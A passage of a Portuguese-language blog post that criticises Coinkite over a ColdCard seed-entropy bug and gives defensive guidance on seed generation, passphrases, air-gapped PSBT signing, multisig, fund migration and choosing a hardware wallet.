<p>A <a href="https://coinkite.com/responsible-disclosure"target="_blank" rel="noopener">política atual de responsible disclosure</a> continua deixando valor, elegibilidade e prazo a critério da empresa. Pesquisadores de concorrentes ou laboratórios bem financiados não recebem bounty. O texto ainda solta um &ldquo;we are not here to make it easy for you&rdquo;, como se antagonizar quem audita seu cofre fosse uma demonstração de personalidade.</p>
<p>Zach Herbert também <a href="https://www.zherbert.com/an-open-letter-to-nvk-and-coldcard/"target="_blank" rel="noopener">documentou ataques públicos de NVK</a> contra a Foundation depois que ela usou código GPL da ColdCard: &ldquo;pure clone&rdquo;, &ldquo;leeches&rdquo; e &ldquo;affinity scamming&rdquo;. Herbert é concorrente e tem interesse na disputa, mas os posts e screenshots existem. Minha opinião sobre NVK como CEO ficou péssima. Ele cultivou uma postura hostil justamente com fabricantes e pesquisadores que tinham conhecimento e incentivo técnico pra revisar o produto.</p>
<p>Não preciso afirmar que todo pesquisador abandonou a Coinkite. Basta olhar os incentivos. White hat competente pode passar semanas desmontando firmware. Se a empresa minimiza achado, ignora bounty, trata concorrente como inimigo e reserva pra si a decisão de quando algo merece crédito, esse pesquisador trabalha em outro produto. Código aberto permite auditoria; não obriga ninguém a oferecer auditoria de graça pra quem o trata mal.</p>
<p>Portanto não foi azar de uma chance em um bilhão. Foi profecia autorrealizável. A negligência extrema acumulou risco até alguém explorar. Quando explodiu, não apagou número numa planilha da Coinkite. Levou bitcoins reais que, para algumas vítimas, eram anos de economia ou a poupança de uma vida.</p>
<h2>Não, &ldquo;IA quebrou o Bitcoin&rdquo; coisa nenhuma<span class="hx:absolute hx:-mt-20" id="não-ia-quebrou-o-bitcoin-coisa-nenhuma"></span>
    <a href="#n%c3%a3o-ia-quebrou-o-bitcoin-coisa-nenhuma" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A Coinkite escreveu que, como o firmware era público, &ldquo;temos que assumir&rdquo; que alguém usou IA pra revisar versões antigas e encontrou o bug. Não apresentou evidência. No parágrafo seguinte admite que, semanas antes, usou um dos melhores modelos disponíveis pra revisar o mesmo código e ele não achou nada sério.</p>
<p>Depois, NVK publicou <a href="https://x.com/nvk/status/2083216713693151552"target="_blank" rel="noopener">um pedido de desculpas em nome da Coinkite</a>. Assumiu responsabilidade pelo bug, pediu que todo dono de ColdCard movesse os fundos, reconheceu que firmware novo não conserta seed antiga e disse que a confiança dos usuários terá que ser reconquistada. É o mínimo, mas é importante que tenha dito.</p>
<p>O problema é que ele terminou tentando transformar o desastre numa &ldquo;realidade sóbria do novo paradigma de IA&rdquo;, porque revisão assistida por IA agora encontraria bugs antigos mais rápido que especialistas. Não. Isso não tem porra nenhuma a ver com IA. O bug é básico, estava visível no código havia cinco anos e atingia a função mais importante de uma hardware wallet. NVK teve sorte de demorar tanto.</p>
<p>Não desloque a culpa pra AI-assisted code review pra justificar código porco. IA pode ter ajudado alguém a localizar ou explorar a falha. IA não escreveu aquele <code>#ifndef</code>, não desligou o TRNG, não aprovou o rewrite de 120 arquivos e não passou cinco anos sem um teste end-to-end de geração de seed. Tudo isso foi responsabilidade da Coinkite.</p>
<p>Depois da divulgação, pesquisadores reproduziram a falha com ajuda de modelos de fronteira. Ótimo. Isso mostra que IA acelera auditoria e exploração depois que alguém aponta onde cavar. Não significa que uma IA quebrou ECDSA, <code>secp256k1</code>, SHA-256, BIP39 ou Bitcoin.</p>
<p>O atacante enumerou um espaço de chaves que um fabricante reduziu de pelo menos 128 bits pra algo na casa de 40. É força bruta contra números previsíveis. O protocolo Bitcoin fez exatamente o que deveria: aceitou assinaturas válidas produzidas pelas chaves privadas corretas.</p>
<p>IA não quebrou Bitcoin. A Coinkite deixou uma regressão básica sem teste no coração do firmware por cinco anos. Jogar a culpa na ferramenta que talvez tenha ajudado alguém a ler o código é uma maneira conveniente de mudar de assunto.</p>
<h2>O que uma wallet realmente guarda<span class="hx:absolute hx:-mt-20" id="o-que-uma-wallet-realmente-guarda"></span>
    <a href="#o-que-uma-wallet-realmente-guarda" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Bitcoin não fica &ldquo;dentro&rdquo; da ColdCard, da Ledger ou do arquivo do Sparrow. A blockchain contém UTXOs bloqueados por scripts. Sua wallet guarda o material necessário pra encontrar esses UTXOs e produzir assinaturas que satisfazem os scripts.</p>
<p>Na forma mais básica, uma chave privada é um inteiro escolhido dentro do domínio da curva <code>secp256k1</code>. A chave pública é um ponto calculado a partir dela. Esse caminho é fácil de computar pra frente e inviável de reverter com a computação conhecida. Endereços são representações derivadas de chaves públicas e scripts, não cofres onde moedas moram.</p>
<p>Já expliquei essa base com mais calma em <a href="/2019/11/21/akitando-67-entendendo-conceitos-basicos-de-criptografia-parte-1-2/">[Akitando #67] Entendendo Conceitos Básicos de Criptografia - Parte 1</a> e <a href="/2019/11/26/akitando-68-entendendo-conceitos-basicos-de-criptografia-parte-2-2/">[Akitando #68] Entendendo Conceitos Básicos de Criptografia - Parte 2</a>.</p>
<p>Uma wallet moderna não sorteia uma chave independente pra cada endereço. Ela começa com uma raiz e usa <a href="https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki"target="_blank" rel="noopener">BIP32</a> pra derivar deterministicamente uma árvore de chaves: contas, endereços de recebimento, troco e assim por diante. Backup da raiz recupera a árvore inteira.</p>
<p>O <a href="https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki"target="_blank" rel="noopener">BIP39</a> é a camada que transforma entropia binária em palavras legíveis e depois converte mnemonic mais passphrase numa seed binária de 512 bits usada pelo BIP32. As palavras são uma forma humana de transportar aleatoriedade gerada por computador. A especificação avisa explicitamente que não é um método pra inventar uma frase bonita da própria cabeça.</p>
<h2>Doze ou 24 palavras é a pergunta errada<span class="hx:absolute hx:-mt-20" id="doze-ou-24-palavras-é-a-pergunta-errada"></span>
    <a href="#doze-ou-24-palavras-%c3%a9-a-pergunta-errada" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Uma mnemonic de 12 palavras codifica 128 bits de entropia mais 4 bits de checksum. Uma de 24 codifica 256 bits mais 8 de checksum. Em condições normais, 128 bits já estão fora do alcance de força bruta.</p>
<p>Mas &ldquo;24 palavras&rdquo; não garante que existiram 256 bits reais na entrada. O firmware vulnerável podia produzir uma sequência perfeitamente válida de 24 palavras, checksum correto e tudo, a partir de um espaço efetivo de aproximadamente 40 bits. O atacante não precisa experimentar todas as combinações de palavras. Ele reproduz os estados plausíveis do RNG defeituoso e compara os endereços derivados.</p>
<p>É por isso que a briga 12 contra 24 fica ao lado do ponto. Comprimento da representação não salva fonte previsível. Um UUID impresso em letras douradas continua previsível se alguém chamou <code>rand()</code> com um timestamp.</p>
<h2>RNG, TRNG e fontes independentes<span class="hx:absolute hx:-mt-20" id="rng-trng-e-fontes-independentes"></span>
    <a href="#rng-trng-e-fontes-independentes" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>RNG é o nome genérico do gerador de números aleatórios. Um PRNG pega um estado inicial, a seed, e expande aquilo numa sequência determinística. Um CSPRNG bem construído continua seguro desde que o estado inicial tenha entropia suficiente e o algoritmo não vaze o estado.</p>
<p>TRNG tenta colher aleatoriedade de fenômenos físicos: ruído eletrônico, jitter de oscilador e coisas do tipo. A <a href="https://support.ledger.com/article/4415198323089-zd"target="_blank" rel="noopener">Ledger explica seu processo</a> como um TRNG dentro do Secure Element gerando 256 bits, que o BIP39 traduz nas 24 palavras. A empresa diz que esse gerador é testado por laboratório externo e certificado segundo AIS-31. Isso é bem melhor que timer mais serial number, mas continua sendo uma fonte e uma implementação em que você deposita confiança.</p>
<p>Outros projetos preferem combinar fontes. A <a href="https://trezor.io/guides/trezor-devices/trezor-fundamentals/what-is-entropy-and-how-does-trezor-generate-your-wallet"target="_blank" rel="noopener">Trezor usa entropia do aparelho e do host</a>. A <a href="https://bitbox.swiss/bitbox02/security-features/"target="_blank" rel="noopener">BitBox02 documenta cinco fontes</a>: TRNG do secure chip, TRNG do microcontrolador, valor individual instalado na fábrica, entropia fornecida pelo host e hash do password do aparelho.</p>
<p>A palavra que interessa aqui é <strong>independência</strong>. Dois PRNGs inicializados pelo mesmo relógio não são duas fontes. Dois valores que saem do mesmo secure element também não compram a independência que o diagrama sugere. Fontes independentes, combinadas por uma construção criptográfica correta, fazem o resultado continuar forte mesmo quando algumas falham.</p>
<p>E &ldquo;combinadas corretamente&rdquo; carrega metade da segurança da frase. XOR, hash e extractors têm propriedades específicas. Não invente um mixer próprio em meia hora e coloque patrimônio em cima. Use uma implementação revisada, com test vectors, e verifique que o binário executado realmente chama aquele código. Acho que a razão ficou óbvia.</p>
<h2>Jogar dados não é tão simples<span class="hx:absolute hx:-mt-20" id="jogar-dados-não-é-tão-simples"></span>
    <a href="#jogar-dados-n%c3%a3o-%c3%a9-t%c3%a3o-simples" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Cada jogada de um D6 ideal entrega <code>log2(6)</code>, cerca de 2,585 bits. Por isso aparecem os números <strong>50 jogadas</strong> pra 128 bits e <strong>99 jogadas</strong> pra aproximadamente 256 bits. A <a href="https://coldcard.com/docs/verifying-dice-roll-math/"target="_blank" rel="noopener">documentação da ColdCard mostra a conta e o SHA-256 aplicado à sequência</a>. O <a href="https://github.com/SeedSigner/seedsigner"target="_blank" rel="noopener">SeedSigner</a> usa os mesmos patamares: 50 pra 12 palavras ou 99 pra 24.</p>
<p>Essa conta presume dado justo e jogadas independentes. Um dado promocional de plástico barato pode ter bolhas, faces mal cortadas e centro de massa deslocado. Sua mão também pode repetir movimento, a bandeja pode favorecer uma posição e muita gente &ldquo;rola de novo&rdquo; quando o dado cai perto da borda. Cada decisão humana depois de olhar o resultado introduz viés.</p>
<p>Se eu fosse gerar uma seed manual hoje, usaria <strong>dados de precisão, do tipo usado em cassino</strong>, de mais de um fabricante ou lote. A própria <a href="https://blog.bitbox.swiss/en/roll-the-dice-generate-your-own-seed/"target="_blank" rel="noopener">BitBox recomenda cinco dados casino-grade</a> no procedimento manual. Eu definiria antes a ordem de leitura, usaria uma bandeja que permita quicar e aceitaria toda jogada válida segundo uma regra escrita antes de começar. Nada de rerrolar porque &ldquo;não misturou direito&rdquo;.</p>
<p>Mesmo assim, eu não confiaria só nos dados. Misturaria fontes independentes: mais de um conjunto de dados, coin flips, entropia do host offline e um TRNG de hardware, quando o aparelho suporta. Fazer centenas de jogadas é barato. O cuidado é entregar tudo a um mecanismo auditado que faça a combinação criptográfica. Somar números, escolher as palavras &ldquo;mais aleatórias&rdquo; ou concatenar pedaços de mnemonics por conta própria é receita pra perder fundos.</p>
<p>Veja o que o seu aparelho realmente implementa. No setup novo documentado pela Ledger, o TRNG do Secure Element gera a entropia. No modo de restore, <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">as palavras precisam reconstruir exatamente as mesmas chaves</a>. O TRNG não pode jogar entropia secreta em cima da mnemonic importada, porque isso criaria outra wallet e destruiria a função de backup. Portanto, restaurar uma seed feita com dados transfere pro aparelho a custódia e a assinatura, mas não melhora a aleatoriedade original.</p>
<p>Com hardware wallet comercial, eu escolheria um destes caminhos: gerar uma raiz nova no fluxo oficial de um aparelho atualizado que documenta como combina fontes independentes; ou gerar BIP39 fora dele, num processo auditável e completamente offline, e inserir as palavras somente pela tela e pelos botões do signer. Seed criada em MetaMask, website ou notebook conectado e depois restaurada numa Ledger continua sendo hot seed. A própria Ledger resume bem: <a href="https://www.ledger.com/academy/can-i-recover-my-hot-wallet-on-a-ledger"target="_blank" rel="noopener">move, don&rsquo;t merge</a>.</p>
<p>O BTC D00M Guy tem <a href="https://btcdoomguy.substack.com/p/como-gerar-sua-seed-e-fazer-o-backup"target="_blank" rel="noopener">um tutorial visual em português sobre BIP39, dados e teste de restauração</a>. É uma boa introdução pra enxergar o processo, mas eu não copiaria literalmente o trecho do celular velho em modo avião pra guardar patrimônio sério. Modo avião não prova que o aparelho estava limpo, não remove fisicamente os rádios e formatar flash depois não me dá uma garantia verificável de apagamento. Pra aprender e ensaiar, tudo bem. Pra gerar a seed da poupança da vida, prefiro hardware sem rádio, sistema efêmero verificado ou signer dedicado.</p>
<blockquote>
  <p>As jogadas viram segredo assim que você decide usá-las. Não fotografe, não dite em voz alta, não guarde em nota do celular e não digite num site. A <a href="https://github.com/SeedSigner/seedsigner/blob/dev/docs/dice_verification.md"target="_blank" rel="noopener">documentação do SeedSigner</a> recomenda que qualquer verificação de uma seed real aconteça num sistema efêmero como Tails, completamente offline, abandonado depois do teste.</p>
<p>Mais entropia também não corrige processo ruim. Cem jogadas filmadas por uma câmera conectada à nuvem valem zero contra quem tem o vídeo.</p>

</blockquote>
<h2>Passphrase: outra wallet, não outra senha<span class="hx:absolute hx:-mt-20" id="passphrase-outra-wallet-não-outra-senha"></span>
    <a href="#passphrase-outra-wallet-n%c3%a3o-outra-senha" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>No BIP39, a mnemonic é a entrada principal de PBKDF2-HMAC-SHA512. O salt é a string <code>mnemonic</code> concatenada com a passphrase, e a função roda 2.048 iterações. Toda passphrase produz uma wallet válida. Um caractere errado não mostra &ldquo;senha incorreta&rdquo;; abre outra wallet, normalmente vazia.</p>
<p>Uma passphrase longa, aleatória, única e independente pode proteger uma mnemonic exposta ou fraca. No caso ColdCard, ela acrescenta um segredo que não veio do RNG defeituoso: o atacante precisa combinar cada candidata à mnemonic com uma tentativa de passphrase. Se essa passphrase tiver entropia suficiente e nunca tiver vazado, o ataque pode voltar a ser inviável.</p>
<p>Mas citação, padrão humano ou senha reutilizada vira ataque de dicionário offline, sem rate limit. As 2.048 iterações do BIP39 não transformam uma passphrase fraca em forte. E perdê-la é tão definitivo quanto perder as palavras. PIN da hardware wallet não substitui passphrase. PIN protege o aparelho físico; passphrase participa da derivação das chaves.</p>
<p>Guarde a passphrase separada da mnemonic e teste uma restauração completa antes de depositar valor relevante. Registre também o fingerprint esperado e pelo menos um endereço. Na restauração, eles dizem se você entrou na wallet certa.</p>
<blockquote>
  <p>No caso ColdCard, não acrescente uma passphrase agora à seed vulnerável e chame isso de migração. Crie raiz nova. A passphrase pode fazer parte da nova arquitetura, mas os bitcoins precisam sair dos scripts derivados da raiz antiga.</p>

</blockquote>
<h2>Sparrow, air gap e PSBT<span class="hx:absolute hx:-mt-20" id="sparrow-air-gap-e-psbt"></span>
    <a href="#sparrow-air-gap-e-psbt" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O <a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow</a> é o coordenador que uso. Ele conhece descriptors, xpubs, endereços, UTXOs e histórico. Pode montar uma transação, mas numa configuração watch-only não tem chave privada pra assinar.</p>
<p>É aí que entra o <a href="https://github.com/bitcoin/bips/blob/master/bip-0174.mediawiki"target="_blank" rel="noopener">PSBT, padronizado no BIP174</a>. O Sparrow cria uma Partially Signed Bitcoin Transaction com inputs, outputs, valores e dados de derivação necessários. O arquivo ou QR vai pro signer offline. O signer confere, adiciona sua assinatura e devolve o PSBT. Em multisig, o mesmo pacote passa pelos signers restantes até atingir o quorum. Sparrow combina, finaliza e transmite.</p>
<p>O fluxo single-sig air-gapped fica assim:</p>
<ol>
<li>Sparrow monta a transação no computador online.</li>
<li>Você exporta o PSBT por QR ou microSD.</li>
<li>ColdCard, SeedSigner ou outro aparelho mostra destino, valor e fee.</li>
<li>Você confere na tela do signer e assina.</li>
<li>Sparrow importa o PSBT assinado, finaliza e transmite.</li>
</ol>
<p>Air gap reduz a superfície de ataque. Não é campo de força. QR e microSD continuam transportando dados, firmware malicioso continua sendo firmware malicioso e um coordinator comprometido pode tentar trocar endereço de destino ou de troco. A tela do signer existe pra você comparar endereço, valor e fee antes de apertar Confirm.</p>
<blockquote>
  <p>E air gap não melhora entropia retroativamente. A ColdCard vulnerável podia passar a vida inteira sem cabo USB. A chave já nasceu fraca.</p>

</blockquote>
<h2>Multisig 2-de-3: mais seguro e muito mais burocrático<span class="hx:absolute hx:-mt-20" id="multisig-2-de-3-mais-seguro-e-muito-mais-burocrático"></span>
    <a href="#multisig-2-de-3-mais-seguro-e-muito-mais-burocr%c3%a1tico" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Single-sig concentra tudo numa seed, num backup e numa implementação. Dentro das opções acessíveis hoje, <strong>2-de-3 multisig</strong> com signers realmente independentes é o mais perto de segurança máxima que conheço pra eliminar esse ponto único de falha.</p>
<p>Você cria três seeds independentes em signers de fabricantes e codebases diferentes. Sparrow monta uma policy que exige duas assinaturas. Um aparelho pode quebrar ou uma seed pode vazar sem entregar os fundos imediatamente. Dois signers continuam suficientes pra recuperar.</p>
<p>&ldquo;Independentes&rdquo; de novo é a palavra que faz o trabalho. Três hardware wallets alimentadas por três seeds filhas do mesmo BIP85 continuam penduradas numa raiz. Três seeds geradas pela mesma ColdCard vulnerável repetem o risco. Use processos e fontes de entropia separados. Eu misturaria, por exemplo, um signer comercial de outro fabricante, um SeedSigner com dados e um terceiro aparelho com arquitetura diferente.</p>
<p>No Sparrow, o procedimento conceitual é:</p>
<ol>
<li>Crie e faça backup de cada seed separadamente.</li>
<li>Exporte de cada signer o fingerprint, derivation path e xpub.</li>
<li>Crie uma wallet <code>Multi Signature</code>, normalmente Native SegWit, com policy 2-de-3.</li>
<li>Importe os três keystores e faça backup do output descriptor da wallet.</li>
<li>Registre quais signers correspondem a quais fingerprints.</li>
<li>Confira um endereço de recebimento em mais de um signer.</li>
<li>Faça um depósito pequeno, restaure/teste os signers e execute uma retirada completa de ensaio.</li>
</ol>
<p>O descriptor não permite gastar sozinho, mas revela todos os endereços e o histórico. É backup necessário pra reconstruir a policy e também dado sensível de privacidade. Guarde cópias em locais separados das seeds.</p>
<p>Na hora de gastar, Sparrow cria o PSBT; signer A assina; signer B assina; Sparrow combina e transmite. Cada pessoa ou aparelho deve revisar outputs. Multisig com operador que confirma tudo no automático só distribui o mesmo erro em três telas.</p>
<p>Nada disso é mistério pra mim. Mesmo assim, acho burocrático pra cacete: três seeds, três backups, output descriptor, locais separados, dois aparelhos em cada gasto, atualizações de firmware e um plano de recuperação que outra pessoa da família precisa conseguir executar quando você não estiver por perto.</p>
<p>Cada camada reduz um risco técnico e abre outra oportunidade pro operador errar. Usabilidade também faz parte da segurança. Se a arquitetura ficou tão chata que você para de testar os backups, deixa de atualizar os signers ou não consegue documentar a herança, o multisig perfeito do diagrama não vale grande coisa.</p>
<blockquote>
  <p>Eu entendo perfeitamente quem prefere continuar com single-sig e uma passphrase forte, independente e bem guardada. É muito mais fácil de operar. Só faça essa escolha sabendo que aceita um risco maior: você ainda depende de uma raiz e de um único caminho de assinatura. Se esse ponto cair, cai a wallet inteira. Passphrase adiciona uma barreira; não adiciona uma segunda assinatura independente.</p>

</blockquote>
<p>O <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">guia de boas práticas do Sparrow</a> recomenda 2-de-3 com hardware wallets de fornecedores diferentes e backups em locais distintos.</p>
<blockquote>
  <p>Se uma das chaves do seu 2-de-3 veio de ColdCard afetada, o atacante potencialmente já controla essa chave e consegue produzir uma assinatura. Ainda não consegue gastar sozinho, mas seu limiar efetivo caiu: agora basta comprometer mais um signer. Crie uma wallet multisig nova com cosigner novo e mova os fundos. Não existe &ldquo;trocar uma chave&rdquo; mantendo os mesmos endereços; a policy mudou, portanto os scripts também mudam.</p>

</blockquote>
<h2>Fulcrum resolve privacidade, não chave fraca<span class="hx:absolute hx:-mt-20" id="fulcrum-resolve-privacidade-não-chave-fraca"></span>
    <a href="#fulcrum-resolve-privacidade-n%c3%a3o-chave-fraca" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Sparrow precisa consultar a blockchain. Num servidor Electrum público, ele pede o histórico dos script hashes derivados dos seus endereços. O servidor pode correlacionar consultas, horário e IP pra agrupar saldo e histórico, mesmo sem receber o xpub bruto. Pra evitar isso, conecto o Sparrow ao meu próprio Bitcoin Core por meio do Fulcrum.</p>
<p>Mostrei a arquitetura e a instalação em <a href="/2026/04/01/bitcoin-no-home-server-soberania-e-privacidade-com-coldcard-sparrow-e-fulcrum/">Bitcoin no Home Server: Soberania e Privacidade com ColdCard, Sparrow e Fulcrum</a>. O artigo continua útil, com uma correção óbvia: não use uma seed gerada pelo firmware afetado da ColdCard.</p>
<p>Seu node valida a blockchain. Fulcrum indexa e responde rápido ao Sparrow. Isso melhora soberania e privacidade da consulta. Nenhum deles impede um atacante de assinar com uma private key que conseguiu reproduzir por causa de entropia ruim.</p>
<h2>Como eu faria a migração hoje<span class="hx:absolute hx:-mt-20" id="como-eu-faria-a-migração-hoje"></span>
    <a href="#como-eu-faria-a-migra%c3%a7%c3%a3o-hoje" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Não transforme uma emergência num segundo acidente. Eu seguiria esta ordem:</p>
<ol>
<li><strong>Faça o inventário.</strong> Liste modelo, firmware que gerou a seed, contas, passphrases, derivation paths e multisigs onde aquela chave participa. Não publique saldo nem endereço em rede social.</li>
<li><strong>Considere a seed comprometida.</strong> Não a digite em software online e não aceite &ldquo;checker&rdquo; de terceiros. Continue assinando no aparelho apenas pelo tempo necessário pra sair.</li>
<li><strong>Escolha a arquitetura nova.</strong> Eu não geraria a nova seed numa ColdCard. Use outro signer novo, comprado diretamente do fabricante, um SeedSigner ou 2-de-3 com implementações diferentes. Não importe nele as palavras antigas. Se insistir em reutilizar a sua ColdCard, instale antes o firmware corrigido pro modelo e release track corretos.</li>
<li><strong>Gere entropia nova.</strong> Use fontes independentes e um mixer auditado. Pra dados, use material casino-grade, várias fontes e pelo menos 99 jogadas pra uma mnemonic de 24 palavras. Eu faria mais.</li>
<li><strong>Faça backup antes de receber.</strong> Mnemonic, passphrase separada, fingerprints e descriptor no caso de multisig. Nunca fotografe nem armazene em cloud.</li>
<li><strong>Teste restauração.</strong> Recrie a wallet, confira fingerprint e endereços. Em multisig, prove que duas chaves conseguem assinar sem depender da terceira.</li>
<li><strong>Verifique o endereço na tela.</strong> Não confie só no que Sparrow mostra no monitor do computador.</li>
<li><strong>Mande um valor pequeno.</strong> Confirme que a wallet nova recebe e consegue gastar. A Coinkite também recomenda esse teste.</li>
<li><strong>Mova o restante logo depois.</strong> Revise fee e todos os outputs. Procure saldo em outras contas, passphrases e endereços de troco derivados da seed velha.</li>
<li><strong>Mantenha o backup antigo marcado como comprometido.</strong> Guarde até ter certeza de que a migração confirmou e de que nenhum depósito atrasado vai chegar. Nunca reutilize endereço antigo.</li>
</ol>
<blockquote>
  <p>Se o ataque estiver correndo contra você, não passe uma semana desenhando o multisig perfeito. Gere um destino seguro e verificado, faça o teste mínimo e tire os fundos do alcance da chave velha. Depois você pode reorganizar UTXOs e melhorar a arquitetura com tempo.</p>

</blockquote>
<h2>Então qual hardware wallet eu recomendo?<span class="hx:absolute hx:-mt-20" id="então-qual-hardware-wallet-eu-recomendo"></span>
    <a href="#ent%c3%a3o-qual-hardware-wallet-eu-recomendo" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Hoje, nenhuma.</p>
<p>Depois de explicar geração de entropia, BIP39, passphrase, PSBT, air gap, descriptors e multisig, deveria estar claro que self-custody completamente offline e feita à mão é <strong>muito difícil</strong>. Não espero que uma pessoa normal domine as implicações matemáticas, audite cada algoritmo e execute cada etapa sem errar. Nem a maioria dos programadores conseguiria. Eu também não vou fingir que consigo revisar sozinho toda a cadeia, do silício ao firmware que roda no aparelho.</p>
<p>É justamente por isso que hardware wallets existem. Elas empacotam criptografia e procedimentos complicados numa interface que uma pessoa consegue operar. Isso transfere parte da responsabilidade pro fabricante; não faz a confiança desaparecer.</p>
<p>Deixar a poupança da vida numa conta de exchange continua sendo o pior default. Você não tem as chaves, depende da solvência da empresa, da política de saque, do sistema jurídico e da segurança da conta. Mas um esquema artesanal que você não entende também pode terminar em perda total. Não adianta eliminar o risco de contraparte e substituí-lo por uma cerimônia impossível de restaurar depois de um incêndio ou da própria morte.</p>
<p>Durante anos, hardware wallet foi tratada como o último porto seguro entre esses extremos. A Coinkite abalou essa confiança na categoria inteira. Não quer dizer que Ledger, Trezor, BitBox, Passport, Jade, SeedSigner e todos os demais estejam quebrados ou sejam equivalentes. Quer dizer que nome forte, secure element, air gap, código visível e anos de mercado não bastam. Eu não consigo mais apontar pra um aparelho e dizer: “compre este e durma tranquilo”. Você vai ter que fazer sua lição de casa.</p>
<blockquote>
  <p><strong>NUNCA compre hardware wallet de segunda mão. Compre nova, diretamente da loja oficial do fabricante.</strong> Não economize frete colocando a poupança da sua vida num aparelho que passou pela mão de um desconhecido. Marketplace, leilão, OLX, eBay, “open box”, recondicionado e aquela oferta imperdível de um amigo estão fora de questão.</p>

</blockquote>
<p>Quando o pacote chegar, não rasgue tudo e saia apertando botão. Abra a documentação oficial do modelo e siga a verificação de supply chain. A <a href="https://coldcard.com/docs/quick/"target="_blank" rel="noopener">ColdCard usa uma embalagem serializada que evidencia abertura</a>: o número aparece na bolsa, numa aba interna e no próprio aparelho. A <a href="https://trezor.io/support/troubleshooting/device-issues/is-my-device-safe-to-use"target="_blank" rel="noopener">Trezor documenta os selos holográficos</a> de cada modelo. A <a href="https://support.bitbox.swiss/en_US/orders-shipping/verifying-the-bitbox02-packaging"target="_blank" rel="noopener">BitBox combina embalagem selada com attestation criptográfica</a> feita pelo aplicativo.</p>
<p>Confira lacre, cortes, cola, número serial, conteúdo da caixa e o mecanismo de autenticidade exibido pelo aparelho ou software oficial. Qualquer divergência encerra o setup: não conecte a seed, não tente “ver se funciona” e fale com o fabricante. O aparelho precisa chegar sem wallet inicializada e deve gerar palavras novas na sua frente. Seed impressa dentro da caixa é golpe.</p>
<p>E cuidado com a linguagem: isso tudo é <strong>tamper-evident</strong>, não tamper-proof. A própria documentação da ColdCard admite que uma bolsa pode ser atacada; a BitBox diz que embalagem perfeita não garante autenticidade. Lacre intacto é uma camada. Ainda quero attestation ou genuine check, firmware assinado, verificação do hash quando disponível e teste completo com pouco dinheiro.</p>
<p>Eu começaria por estas perguntas:</p>
<ol>
<li><strong>Qual é o threat model publicado?</strong> O fabricante precisa dizer contra o que protege e, principalmente, o que fica fora do escopo: computador infectado, aparelho roubado, ataque físico com laboratório, supply chain, firmware direcionado, coerção. “Military-grade security” não é threat model.</li>
<li><strong>De onde vem a entropia, exatamente?</strong> Procure as fontes, como elas são combinadas e que testes end-to-end provam que o fluxo <code>New Wallet</code> chega ao RNG prometido. Suporte a dados ou entropia externa é útil, mas só se o mecanismo de mistura for documentado e auditado. O caso ColdCard mostrou que ter o TRNG correto dentro do binário não significa que a geração da seed o utiliza.</li>
<li><strong>O código é realmente livre e o binário corresponde a ele?</strong> “Source available” com licença restritiva não é FOSS. Código aberto permite auditoria, mas não prova que alguém auditou. <a href="https://reproducible-builds.org/docs/definition/"target="_blank" rel="noopener">Build reproduzível</a> permite que terceiros reconstruam o firmware e comparem o resultado bit a bit. Procure verificações independentes e atuais no <a href="https://walletscrutiny.com/"target="_blank" rel="noopener">WalletScrutiny</a>, não apenas a promessa do fabricante.</li>
<li><strong>Como a empresa trata quem encontra falhas?</strong> Leia a política de disclosure, escopo e valores do bounty. Procure advisories antigos, CVEs, post-mortems e a conversa com pesquisadores. Empresa que publica a falha, explica a causa, corrige rápido e agradece ao pesquisador merece mais confiança que uma com histórico supostamente “perfeito”. Às vezes ninguém encontrou vulnerabilidade porque ninguém competente teve incentivo pra procurar.</li>
<li><strong>O que a tela confiável permite verificar?</strong> Antes de assinar, o aparelho deve mostrar endereço, valor, fee e troco. Deve conferir endereço de recebimento no próprio display, permitir entrada de PIN e passphrase sem entregá-los ao computador e registrar corretamente a policy de multisig. Secure element protege chave; não salva uma interface que faz você assinar sem entender os outputs.</li>
<li><strong>Existe uma rota de saída sem o fabricante?</strong> Eu quero padrões interoperáveis: BIP39/BIP32 quando aplicável, <a href="https://bips.dev/174/"target="_blank" rel="noopener">PSBT</a> e <a href="https://bips.dev/380/"target="_blank" rel="noopener">output descriptors</a>. Quero exportar xpub, fingerprint e descriptor, usar Sparrow, conectar meu node e recuperar em outra implementação. Conta obrigatória, cloud proprietária e backup que só abre no aplicativo da empresa são lock-in em cima da chave da sua vida.</li>
<li><strong>Como funcionam hardware, firmware e supply chain?</strong> Secure element, microcontrolador comum e signer stateless fazem trocas diferentes. Descubra o que persiste no aparelho e o que um atacante físico consegue extrair. Releases devem ser assinadas, ter changelog útil, impedir downgrade inseguro e receber manutenção por anos. Pesquise como o aparelho verifica autenticidade, como documenta embalagem e transporte, o que acontece se o servidor de update desaparecer e quais componentes fechados existem. Air gap também não é selo mágico: QR, NFC e microSD são parsers de entrada e continuam sendo superfície de ataque.</li>
<li><strong>Você consegue restaurar sem improviso?</strong> Antes de colocar valor relevante, gere a wallet, faça backup, apague o aparelho e recupere. Confira fingerprint, endereço e uma transação de ida e volta. Em multisig, restaure o descriptor e prove que o quorum funciona sem uma das chaves. Backup nunca testado é esperança, não backup.</li>
</ol>
<p>Eu também pesquisaria o histórico do repositório, issues de segurança, commits recentes, auditorias independentes e tempo entre vulnerabilidade reportada e correção. Buscaria pelo nome do modelo junto com <code>vulnerability</code>, <code>reproducible build</code>, <code>seed entropy</code>, <code>multisig</code> e <code>responsible disclosure</code>. Review de influenciador com link de afiliado serve pra conhecer a tela e o tamanho do aparelho, não pra decidir onde guardar patrimônio.</p>
